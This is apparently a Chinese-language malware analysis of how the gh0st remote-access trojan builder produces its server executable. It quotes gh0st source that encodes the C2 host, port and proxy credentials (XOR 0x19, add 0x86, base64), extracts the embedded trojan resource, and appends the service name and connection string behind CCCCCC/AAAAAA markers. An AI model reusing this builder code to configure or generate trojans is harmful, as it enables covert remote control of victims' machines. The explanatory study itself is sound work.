在分析木马程序时如何安装的之前,我们首先需要简单的了解下,木马程序时如何生成的。
我们知道,木马程序时作为资源文件被存储到主程序中的,生成木马的时候释放出来。
那一些木马连接的配置信息是如何保存的呢?先看下面一个截图
上线字符串时时木马程序在连接客户端时必须的信息,保存着客户端地址相关信息。这段字符串时将客户端信息加密处理得来的。我们看下gh0st 中的
void CSettingsView::OnChangeConfig(UINT id)
{
UpdateData();
m_remote_host.Replace(" ", "");
m_remote_port.Replace(" ", "");
m_proxy_host.Replace(" ", "");
m_proxy_port.Replace(" ", "");
m_proxy_user.Replace(" ", "");
m_proxy_pass.Replace(" ", "");
CString str = m_remote_host + ":" + m_remote_port;
if (m_bIsUsedProxy && m_proxy_host.GetLength() && m_proxy_port.GetLength())
{
str += "|" + m_proxy_host + ":" + m_proxy_port;
if (m_bIsProxyAuth && m_proxy_user.GetLength() && m_proxy_pass.GetLength())
str += "|" + m_proxy_user + ":" + m_proxy_pass;
}
str.MakeLower();
m_encode = MyEncode(str.GetBuffer(0));
m_encode.Insert(0, "AAAA");
m_encode += "AAAA";
UpdateData(FALSE);
if (m_bIsSaveAsDefault)
{
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "Host", m_remote_host);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "Port", m_remote_port);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "ProxyHost", m_proxy_host);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "ProxyPort", m_proxy_port);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "ProxyUser", m_proxy_user);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "ProxyPass", m_proxy_pass);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Connection", "UsedProxy", m_bIsUsedProxy);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Connection", "ProxyAuth", m_bIsProxyAuth);
}
}
从函数分析可知,程序将ip地址端口port以ip:port的形式保存起来,(若其他信息的话使用‘|’连接起来),然后进行加密处理,再在加密后的字符串两边添加AAAA标志
看下加密函数如下:
char* MyEncode(char *str)
{
int i, len;
char *p;
char *s, *data;
len = strlen(str) + 1;
s = (char *)malloc(len);
memcpy(s, str, len);
for (i = 0; i < len; i++)
{
s[i] ^= 0x19;
s[i] += 0x86;
}
base64_encode(s, len, &data);
free(s);
return data;
}
程序对字符串先逐个进行简单的异或相加,然后base64加密。
再看下生成界面的配置
http上线暂且不讲,生成程序在gh0st中BuildView中。
void CBuildView::OnBuild()
{
// TODO: Add your control notification handler code here
UpdateData(true);
if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty())
{
AfxMessageBox("请完整填写服务显示名称和描述 -:(");
return;
}
CString strAddress;
// 保存配置
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "DisplayName", m_ServiceDisplayName);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "Description", m_ServiceDescription);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Build", "enablehttp", m_enable_http);
if (m_enable_http)
{
CString str;
GetDlgItemText(IDC_URL, str);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "httpurl", str);
str.MakeLower();
strAddress = MyEncode(str.GetBuffer(0));
}
else
{
GetDlgItemText(IDC_DNS_STRING, strAddress);
if (strAddress.Find("AAAA") == -1)
{
AfxMessageBox("域名上线字串格式出错 -:(");
return;
}
strAddress.Replace("AAAA", "");
}
CString strServiceConfig;
strServiceConfig.Format("%s|%s", MyEncode(m_ServiceDisplayName.GetBuffer(0)),
MyEncode(m_ServiceDescription.GetBuffer(0)));
CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL);
if(dlg.DoModal () != IDOK)
return;
HINSTANCE hInstance;
HRSRC hResInfo;
DWORD dwResLen;
HGLOBAL hResData;
LPBYTE lpData;
hInstance = AfxGetApp()->m_hInstance;
hResInfo = FindResource(hInstance, (LPCTSTR)IDR_BSS, (LPCTSTR)"BSS");
dwResLen = SizeofResource(hInstance, hResInfo);
hResData = LoadResource(hInstance, hResInfo);
lpData = (LPBYTE)LockResource(hResData);
CFile file;
if(file.Open (dlg.GetPathName(), CFile::modeCreate | CFile::modeWrite))
{
try
{
file.Write(lpData, dwResLen);
// 写入6个'C',是服务的名称和描述
file.Write("CCCCCC", 6);
file.Write(strServiceConfig, strServiceConfig.GetLength() + 1);
// 写入6个'A',安装时查找
file.Write("AAAAAA", 6);
file.Write(strAddress, strAddress.GetLength() + 1);
file.Close();
AfxMessageBox("文件保存成功,请用加壳软件进行压缩 -:)");
}
catch(...)
{
MessageBox("文件保存失败,请检查","提示",MB_OK|MB_ICONSTOP);
}
}
FreeResource(hResData);
}
通过函数可知,程序先判断改界面配置信息是否完整。保存服务名称servername和服务描述serverdescription,以及上线字符串。
然后将上线字符串的AAAA标志去掉。
将servername和serverdescription使用‘|’连接起来并调用函数MyEncode函数加密,将结果保存到strServiceConfig中。
将定位资源中木马程序的地址,并获的木马大小,将其写到另外一个文件,然后将服务名称和描述信息strServiceConfig,上线字符串写到程序的最后面,不过在写入时分别加入了识别标志,strServiceConfig前写了6个字节的C,上线字符串写了6个字节的A,然后保存文件。
我们看一些生成文件尾部的信息。
可知,客户端程序最后将连接信息保存到了木马程序的尾部